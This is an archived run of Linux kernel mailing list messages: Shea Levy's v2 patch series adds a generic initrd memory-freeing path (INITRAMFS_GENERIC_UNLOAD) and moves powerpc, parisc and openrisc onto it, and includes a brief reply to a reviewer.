X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724875 gmane.linux.uml.devel:16695 gmane.linux.ports.sh.devel:56721 gmane.linux.ports.ppc64.devel:155036 gmane.linux.ports.parisc:28400 gmane.linux.kernel.arc:3654 gmane.linux.ports.alpha:4864
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724875>

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hi Christophe,

LEROY Christophe <christophe.leroy@c-s.fr> writes:

> Shea Levy <shea@shealevy.com> a =C3=A9crit=C2=A0:
>
>> Signed-off-by: Shea Levy <shea@shealevy.com>
>> ---
>>  init/initramfs.c | 7 +++++++
>>  usr/Kconfig      | 4 ++++
>>  2 files changed, 11 insertions(+)
>>
>> diff --git a/init/initramfs.c b/init/initramfs.c
>> index 7e99a0038942..de5ce873eb5a 100644
>> --- a/init/initramfs.c
>> +++ b/init/initramfs.c
>> @@ -526,6 +526,13 @@ extern unsigned long __initramfs_size;
>>  #include <linux/initrd.h>
>>  #include <linux/kexec.h>
>>
>> +#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
>> +void free_initrd_mem(unsigned long start, unsigned long end)
>> +{
>> +       free_reserved_area((void *)start, (void *)end, -1, "initrd");
>> +}
>> +#endif
>
> In powerpc this was an __init function. Why not also put the generic=20=20
> one in __init section ?
>

v2 series sent, thanks!

>
> Christophe
>
>
>> +
>>  static void __init free_initrd(void)
>>  {
>>  #ifdef CONFIG_KEXEC_CORE
>> diff --git a/usr/Kconfig b/usr/Kconfig
>> index 43658b8a975e..fd79d4d6fa26 100644
>> --- a/usr/Kconfig
>> +++ b/usr/Kconfig
>> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
>>  	default ".lzma" if RD_LZMA
>>  	default ".bz2"  if RD_BZIP2
>>  	default ""
>> +
>> +# Arches can select this for a generic initrd unloading codepath
>> +config INITRAMFS_GENERIC_UNLOAD
>> +	bool
>> --
>> 2.16.2

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE6ESKvwKkwnxgMLnaXAvWlX2G/icFAlq4IJIACgkQXAvWlX2G
/ie5Kg//WRsmE69HlU4LGgsmarn8fdi2QRuZ+l/ywz9000PwGi2Rf2prd6YfK03r
r/JSOgq3kCyGN2ifjCa++0IAvJT438Yzjxieqi5t28mm58I9VOfaWhGebd9gq4vV
xaFLnrTlbSYSPMlhm4gbjDv13na+i+qm6Gqje/TF5AILIHTXxfxg//SgKY0vaAPi
xBZJCaCEZJdO84/mVKeqO/Ape+/ibxtmjDtc/CIxyt8uSPeBqDqkxyQO8/1DFXea
UhYDdnzRyqzG4JGgC+CvrV6T6b8Z5yKFUx3w0CSfE69ypeYHNnzCRVOsPNGxFGQD
v1INTKVjedr9J9PvrtZZmRKHgmzwRgVWPp9uiNIcxxJcuywfeoI/sZwYRRfM2wnB
1pMZsQI1Z4a9GIZ/j9GORajQlKOGp0SDSEDFBLBQ5JS7X4CnFrN/6b/I+AMeBzLa
rK70FQwikNVuWXpOtRh0BEJClYE6HdjRqrkvnOt181vZOb8GPVabu69a7xI8fGCm
B7nn+GLpD3SUGNRaUfWk76hrt+Kz2Dlg/5ATDcEHlkw+ZQypwR18Wop2qcuVcpsp
XjiACAXCDtI5vyud3S0d9ucED0YV90VFdnFfSOs0OXnGPrOfj2Zo6sKPMHxpNzF4
ni7nW+ciXNm79Ex05TQdxB4Z6hZ5g6/NFkdbGrOEvjUvcFBNnEM=
=IIzv
-----END PGP SIGNATURE-----
--=-=-=--


From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 14/16] powerpc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:51 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-15-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016395 16140 195.159.176.226 (25 Mar 2018 22:19:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:19:55 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:19:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DzR-0002ay-He
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:19:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752186AbeCYWVz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:21:55 -0400
Original-Received: from smtprelay0056.hostedemail.com ([216.40.44.56]:44090 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752031AbeCYWTl (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:41 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay03.hostedemail.com (Postfix) with ESMTP id 556EA837F242;
        Sun, 25 Mar 2018 22:19:40 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3871:3872:4250:4321:4385:5007:6119:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:14877:21080:21450:21627:30054:30089,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:16,LUA_SUMMARY:none
X-HE-Tag: tent06_373a01bf72102
X-Filterd-Recvd-Size: 2269
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:39 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724879 gmane.linux.ports.alpha:4865 gmane.linux.kernel.arc:3655 gmane.linux.ports.parisc:28401 gmane.linux.ports.ppc64.devel:155037 gmane.linux.ports.sh.devel:56722 gmane.linux.uml.devel:16696
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724879>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/powerpc/Kconfig  | 1 +
 arch/powerpc/mm/mem.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 73ce5dd07642..8cf384068e79 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -223,6 +223,7 @@ config PPC
 	select HAVE_SYSCALL_TRACEPOINTS
 	select HAVE_VIRT_CPU_ACCOUNTING
 	select HAVE_IRQ_TIME_ACCOUNTING
+	select INITRAMFS_GENERIC_UNLOAD
 	select IRQ_DOMAIN
 	select IRQ_FORCED_THREADING
 	select MODULES_USE_ELF_RELA
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index fe8c61149fb8..e85b2a3cd264 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -404,13 +404,6 @@ void free_initmem(void)
 	free_initmem_default(POISON_FREE_INITMEM);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /*
  * This is called when a page has been modified by the kernel.
  * It just marks the page as not i-cache clean.  We do the i-cache
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 13/16] parisc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:50 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20180325221853.10839-14-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016399 16478 195.159.176.226 (25 Mar 2018 22:19:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:19:59 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:19:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DzV-0002ay-Nv
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:19:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752463AbeCYWV5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:21:57 -0400
Original-Received: from smtprelay0185.hostedemail.com ([216.40.44.185]:58661 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752495AbeCYWTj (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:39 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id 8BB7B181D3368;
        Sun, 25 Mar 2018 22:19:38 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3865:3868:3871:4250:4321:4385:5007:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054:30055,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: quill54_36f613f6acb27
X-Filterd-Recvd-Size: 2099
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf04.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:37 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724880 gmane.linux.ports.alpha:4866 gmane.linux.kernel.arc:3656 gmane.linux.ports.parisc:28402 gmane.linux.ports.ppc64.devel:155038 gmane.linux.ports.sh.devel:56723 gmane.linux.uml.devel:16697
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724880>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/parisc/Kconfig   | 1 +
 arch/parisc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 9792d8cf4f56..7410c2094987 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -51,6 +51,7 @@ config PARISC
 	select GENERIC_CLOCKEVENTS
 	select ARCH_NO_COHERENT_DMA_MMAP
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 01/16] initrd: Add generic code path for common initrd
 unloading logic.
Date: Sun, 25 Mar 2018 18:18:38 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-2-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016468 20920 195.159.176.226 (25 Mar 2018 22:21:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:21:08 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Mon Mar 26 00:21:03 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1f0E0b-0005KN-9Q
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 26 Mar 2018 00:21:02 +0200
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 408Wxl63LLzF1yB
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Mon, 26 Mar 2018 09:23:07 +1100 (AEDT)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=shealevy.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=pass (mailfrom) smtp.mailfrom=shealevy.com
 (client-ip=216.40.44.36; helo=smtprelay.hostedemail.com;
 envelope-from=shea@shealevy.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org;
 dmarc=none (p=none dis=none) header.from=shealevy.com
Original-Received: from smtprelay.hostedemail.com (smtprelay0036.hostedemail.com
 [216.40.44.36])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 408Ws63wzYzF0mt
 for <linuxppc-dev@lists.ozlabs.org>; Mon, 26 Mar 2018 09:19:06 +1100 (AEDT)
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay01.hostedemail.com (Postfix) with ESMTP id D85C0100E86C3;
 Sun, 25 Mar 2018 22:19:03 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3876:3877:4321:4385:4605:5007:6114:6261:6642:6737:10004:10848:11026:11473:11658:11914:12043:12048:12296:12438:12533:12555:12895:12986:13069:13255:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627:30012:30054,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:21,
 LUA_SUMMARY:none
X-HE-Tag: walk92_31e9e257fef21
X-Filterd-Recvd-Size: 2167
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf08.hostedemail.com (Postfix) with ESMTPA;
 Sun, 25 Mar 2018 22:19:02 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:123321 gmane.linux.ports.alpha:4867 gmane.linux.kernel:2724885 gmane.linux.kernel.arc:3657 gmane.linux.ports.parisc:28403 gmane.linux.ports.sh.devel:56724 gmane.linux.uml.devel:16698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/123321>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 init/initramfs.c | 7 +++++++
 usr/Kconfig      | 4 ++++
 2 files changed, 11 insertions(+)

diff --git a/init/initramfs.c b/init/initramfs.c
index 7e99a0038942..5f2e3dba4822 100644
--- a/init/initramfs.c
+++ b/init/initramfs.c
@@ -526,6 +526,13 @@ extern unsigned long __initramfs_size;
 #include <linux/initrd.h>
 #include <linux/kexec.h>
 
+#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
+void __init free_initrd_mem(unsigned long start, unsigned long end)
+{
+       free_reserved_area((void *)start, (void *)end, -1, "initrd");
+}
+#endif
+
 static void __init free_initrd(void)
 {
 #ifdef CONFIG_KEXEC_CORE
diff --git a/usr/Kconfig b/usr/Kconfig
index 43658b8a975e..fd79d4d6fa26 100644
--- a/usr/Kconfig
+++ b/usr/Kconfig
@@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
 	default ".lzma" if RD_LZMA
 	default ".bz2"  if RD_BZIP2
 	default ""
+
+# Arches can select this for a generic initrd unloading codepath
+config INITRAMFS_GENERIC_UNLOAD
+	bool
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 12/16] openrisc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:49 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-13-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016496 22844 195.159.176.226 (25 Mar 2018 22:21:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:21:36 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:21:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0E15-0005oy-1e
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:21:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752653AbeCYWXg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:23:36 -0400
Original-Received: from smtprelay0200.hostedemail.com ([216.40.44.200]:54215 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752206AbeCYWTh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:37 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay04.hostedemail.com (Postfix) with ESMTP id EC110180A8859;
        Sun, 25 Mar 2018 22:19:36 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6119:6261:6642:6737:7974:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: order79_36b18b91dbc5f
X-Filterd-Recvd-Size: 2117
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:35 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724887 gmane.linux.ports.alpha:4868 gmane.linux.kernel.arc:3658 gmane.linux.ports.parisc:28404 gmane.linux.ports.ppc64.devel:155039 gmane.linux.ports.sh.devel:56725 gmane.linux.uml.devel:16699
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724887>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/openrisc/Kconfig   | 1 +
 arch/openrisc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index dfb6a79ba7ff..0f8d2132baa5 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -36,6 +36,7 @@ config OPENRISC
 	select OMPIC if SMP
 	select ARCH_WANT_FRAME_POINTERS
 	select GENERIC_IRQ_MULTI_HANDLER
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index 6972d5d6f23f..c1a3dcf9ad40 100644
--- a/arch/openrisc/mm/init.c
+++ b/arch/openrisc/mm/init.c
@@ -222,13 +222,6 @@ void __init mem_init(void)
 	return;
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 10/16] microblaze: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:47 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-11-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016532 25161 195.159.176.226 (25 Mar 2018 22:22:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
